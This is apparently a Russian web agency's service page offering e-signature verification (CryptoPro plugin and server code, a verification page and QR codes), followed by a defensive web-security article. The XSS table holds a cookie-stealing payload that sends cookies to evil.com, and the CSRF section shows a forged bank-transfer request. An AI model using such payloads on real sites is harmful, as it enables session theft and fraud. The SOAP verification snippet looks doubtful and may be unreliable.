Разработка системы верификации электронной подписи на сайте под ключ

Наша компания занимается разработкой, поддержкой и обслуживанием сайтов любой сложности. От простых одностраничных сайтов до масштабных кластерных систем построенных на микро сервисах. Опыт разработчиков подтвержден сертификатами от вендоров.

Разработка и обслуживание любых видов сайтов:

Информационные сайты или веб-приложения
Сайты визитки, landing page, корпоративные сайты, онлайн каталоги, квиз, промо-сайты, блоги, новостные ресурсы, информационные порталы, форумы, агрегаторы
Сайты или веб-приложения электронной коммерции
Интернет-магазины, B2B-порталы, маркетплейсы, онлайн-обменники, кэшбэк-сайты, биржи, дропшиппинг-платформы, парсеры товаров
Веб-приложения для управления бизнес-процессами
CRM-системы, ERP-системы, корпоративные порталы, системы управления производством, парсеры информации
Сайты или веб-приложения электронных услуг
Доски объявлений, онлайн-школы, онлайн-кинотеатры, конструкторы сайтов, порталы предоставления электронных услуг, видеохостинги, тематические порталы

Это лишь некоторые из технических типов сайтов, с которыми мы работаем, и каждый из них может иметь свои специфические особенности и функциональность, а также быть адаптированным под конкретные потребности и цели клиента

Услуги, которые мы предлагаем
Показано 1 из 1Все 2062 услуг
Разработка системы верификации электронной подписи на сайте под ключ
Средний
~3-5 дней
Часто задаваемые вопросы

Наши компетенции:

Этапы разработки

Последние работы

  • image_website-b2b-advance_0.webp
    Разработка сайта компании B2B ADVANCE
    1362
  • image_web-applications_feedme_466_0.webp
    Разработка веб-приложения для компании FEEDME
    1253
  • image_websites_belfingroup_462_0.webp
    Разработка веб-сайта для компании БЕЛФИНГРУПП
    958
  • image_ecommerce_furnoro_435_0.webp
    Разработка интернет магазина для компании FURNORO
    1190
  • image_crm_enviok_479_0.webp
    Разработка веб-приложения для компании Enviok
    931
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Разработка веб-сайта для компании ФИКСПЕР
    949

Типичная ситуация: вы заключаете договор с контрагентом через электронный документооборот, но он сомневается в подлинности подписи. Или вам нужно предоставить клиентам возможность проверить подписанный документ онлайн. Мы решаем эту задачу: от интеграции простой ЭП до криптографической верификации КЭП через КриптоПро.

Какие проблемы решает система верификации?

Разные типы подписей — разная логика проверки. Простая электронная подпись (рисованная подпись, SMS-код) не несёт криптографической защиты. Единственный способ проверить её подлинность — убедиться, что документ не изменялся после подписания. Для этого мы храним хэш документа (SHA-256) в момент подписания и сравниваем его при верификации. Если хэши не совпадают — документ был изменён, подпись недействительна.

Квалифицированная электронная подпись (КЭП) требует гораздо более сложной проверки. Нужно расшифровать подпись, проверить сертификат, цепочку доверия, срок действия, статус отзыва. Это включает работу с криптопровайдерами (КриптоПро), плагинами браузера или серверными SOAP-вызовами.

Совместимость с браузерами и устройствами. Клиентская верификация КЭП требует установки Browser Plugin, что не всегда возможно (мобильные устройства, корпоративные ограничения). Поэтому мы предлагаем серверную верификацию через КриптоПро Web Service — пользователь просто загружает документ и подпись, а вся криптография выполняется на сервере. Это универсальное решение.

Безопасность и логирование. Важно не только проверить подпись, но и сохранить доказательства проверки. Мы логируем каждую попытку: IP, User-Agent, временную метку, результат. Это защищает от атак повторного воспроизведения и даёт аудиторский след.

Как мы это делаем?

Архитектура решения

  • Frontend: React 18 (Next.js 14) для публичной страницы верификации, TypeScript, Tailwind.
  • Backend: Laravel 11 (PHP 8.3) или Node.js (Express) для API и серверной верификации.
  • База данных: PostgreSQL для хранения хэшей и логов, Redis для кэширования статусов сертификатов.
  • Криптография: КриптоПро CSP (серверная верификация через SOAP) и CryptoPro Browser Plugin (клиентская).

Код клиентской верификации КЭП через плагин уже готов и используется в проектах:

async function verifyCadesSignature(documentBase64, signatureBase64) {
  const plugin = await cadesplugin;
  const signedData = await plugin.CreateObjectAsync('CAdESCOM.CadesSignedData');

  await signedData.propset_ContentEncoding(plugin.CADESCOM_BASE64_TO_BINARY);
  await signedData.propset_Content(documentBase64);

  try {
    await signedData.VerifyCades(
      signatureBase64,
      plugin.CADESCOM_CADES_BES,
      true
    );
  } catch (e) {
    return { valid: false, error: e.message };
  }

  const signers = await signedData.Signers;
  const signer = await signers.Item(1);
  const cert = await signer.Certificate;

  return {
    valid: true,
    signer: {
      name: await cert.GetInfo(plugin.CAPICOM_CERT_INFO_SUBJECT_SIMPLE_NAME),
      issuer: await cert.GetInfo(plugin.CAPICOM_CERT_INFO_ISSUER_SIMPLE_NAME),
      validFrom: await cert.ValidFromDate,
      validTo: await cert.ValidToDate,
      thumbprint: await cert.Thumbprint,
    },
    signedAt: await signer.SigningTime,
    certValid: await cert.IsValid().Result,
  };
}

Серверная верификация через КриптоПро Web Service — пример на PHP:

class CryptoProVerificationService {
    public function verifySignature(string $documentBase64, string $signatureBase64): array {
        $client = new SoapClient('https://www.cryptopro.ru/ocsp/ocsp.php?wsdl');

        $result = $client->VerifyHash([
            'Signature' => $signatureBase64,
            'Content'   => $documentBase64,
            'Type'      => 'CAdES-BES',
            'IsDetached' => true,
        ]);

        return [
            'valid'      => $result->IsValid,
            'signerName' => $result->SignerName,
            'signedAt'   => $result->SigningTime,
            'certSerial' => $result->CertSerialNumber,
        ];
    }
}

Почему серверная верификация лучше для пользователя?

Серверная верификация не требует установки плагинов, работает на любых устройствах и браузерах. Проверка занимает 2-3 секунды — в 2 раза быстрее, чем установка и настройка плагина. Это снижает количество обращений в поддержку и повышает конверсию верификации.

Как публичная страница и QR-код упрощают проверку?

Для внешних пользователей (контрагент проверяет договор) мы создаём страницу без авторизации. Пример компонента на React:

async function VerificationPage({ params }) {
  const result = await verifyDocumentSignature(params.documentId, params.signatureId);

  return (
    <div className="max-w-2xl mx-auto p-8">
      <div className={`rounded-xl p-6 ${result.valid ? 'bg-green-50' : 'bg-red-50'}`}>
        <div className="flex items-center gap-3">
          {result.valid ? <CheckCircleIcon className="text-green-600 w-8" /> : <XCircleIcon className="text-red-600 w-8" />}
          <h1 className="text-xl font-bold">
            {result.valid ? 'Подпись действительна' : 'Подпись недействительна'}
          </h1>
        </div>

        {result.valid && (
          <dl className="mt-4 grid grid-cols-2 gap-4 text-sm">
            <div><dt className="text-gray-500">Подписант</dt><dd>{result.signerName}</dd></div>
            <div><dt className="text-gray-500">Дата подписания</dt><dd>{formatDate(result.signedAt)}</dd></div>
            <div><dt className="text-gray-500">Документ не изменён</dt><dd>Да</dd></div>
            <div><dt className="text-gray-500">Сертификат</dt><dd>{result.certSerial}</dd></div>
          </dl>
        )}
      </div>
    </div>
  );
}

QR-код, размещённый на подписанном документе, ведёт на страницу верификации:

import QRCode from 'qrcode';

const verificationUrl = `${process.env.APP_URL}/verify/${documentId}/${signatureId}`;
const qrDataUrl = await QRCode.toDataURL(verificationUrl, {
  width: 100,
  margin: 1,
  errorCorrectionLevel: 'M',
});

Сравнение методов верификации

Метод Скорость проверки Требования к клиенту Безопасность Тип подписи
По хэшу документа Мгновенно Любой браузер Средняя (защита от изменений) Простая ЭП
КЭП через плагин ~1 сек Установка CryptoPro Browser Plugin Высокая (криптография) КЭП
КЭП серверная ~2-3 сек Нет (SOAP на сервере) Высокая (криптография) КЭП

Процесс работы

  1. Аналитика — выявляем типы подписей, требования к безопасности, поток пользователей.
  2. Проектирование — выбираем архитектуру (клиентская/серверная верификация), стек, протоколы.
  3. Разработка — реализуем API, публичную страницу, QR-код, интеграцию с вашей CRM/ERP.
  4. Тестирование — проверяем на разных браузерах, с реальными сертификатами, нагрузочное тестирование.
  5. Деплой — настраиваем CI/CD, мониторинг, кэширование.
  6. Обучение и поддержка — передаём документацию, доступы, проводим обучение сотрудников. Предоставляем 1 месяц бесплатной поддержки.

Что входит в работу

  • Исходный код системы верификации.
  • Документация API (OpenAPI/Swagger).
  • Инструкция по эксплуатации для администраторов.
  • Доступы к репозиторию и серверу.
  • 1 месяц поддержки после запуска.

Типичные ошибки при внедрении

  • Не проверяется срок действия сертификата — подпись может быть создана просроченным сертификатом. Мы всегда проверяем ValidFrom/ValidTo.
  • Отсутствует логирование попыток верификации — сложно доказать, что проверка была выполнена. Мы логируем каждую попытку.
  • QR-код ведёт на HTTP, а не HTTPS — данные подписи передаются в открытом виде. Мы используем только HTTPS с HSTS.
  • Не настроен CORS — публичная страница не загружается из-за ограничений браузера. Мы правильно конфигурируем заголовки.

Сроки

Верификация по хэшу с публичной страницей и QR-кодом — 2–3 дня. Верификация КЭП через браузерный плагин — 3–4 дня. Серверная верификация через КриптоПро Web Service — 3–5 дней. Точную оценку дадим после аудита вашего проекта.

Свяжитесь с нами, чтобы обсудить детали. Закажите разработку системы верификации подписи — оценим проект в течение одного рабочего дня.

Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS

Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.

Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.

HTTPS и правильная конфигурация TLS

HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.

В конфигурации Nginx/Apache проверяем:

  • Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
  • Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
  • OCSP Stapling — ускоряет проверку отзыва сертификата
  • Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)

Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.

Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.

Content Security Policy: самая мощная и самая сложная защита

CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.

Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.

Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.

'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.

Почему XSS остаётся самой частой уязвимостью?

XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:

Тип XSS Пример Защита
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Эскейпинг вывода, CSP
Stored Комментарий с кодом, сохранённый в базе Валидация ввода, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Избегать innerHTML, использовать textContent

Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.

Типичный кейс: интернет-магазин с XSS в форме отзыва Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.

CSRF: защита форм и API

CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.

CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.

SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.

API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.

WAF и защита от DDoS

WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:

  • Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
  • AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.

DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).

Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).

Другие обязательные меры

Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).

SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.

Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.

Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.

Как мы работаем

  1. Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
  2. Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
  3. Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
  4. Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
  5. Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.

Что входит в работу

  • Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
  • Готовая конфигурация TLS (Nginx/Apache)
  • Политика CSP с режимом Report-Only и боевой версией
  • Настройка WAF и Rate Limiting
  • План обновлений зависимостей
  • Доступы к инструментам мониторинга (Sentry, Datadog)
  • 30 дней постаудит-поддержки (консультации, правки)

Сроки и стоимость

Тип работ Срок Диапазон стоимости
Security-аудит + hardening (заголовки, TLS, обновления) 1–2 недели от 60 000 ₽
Внедрение CSP (Report-Only → продакшен) 2–4 недели от 90 000 ₽
Настройка WAF + Rate Limiting + DDoS защита 1–2 недели от 70 000 ₽
Комплексный security review + пентест 3–6 недель от 200 000 ₽

Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.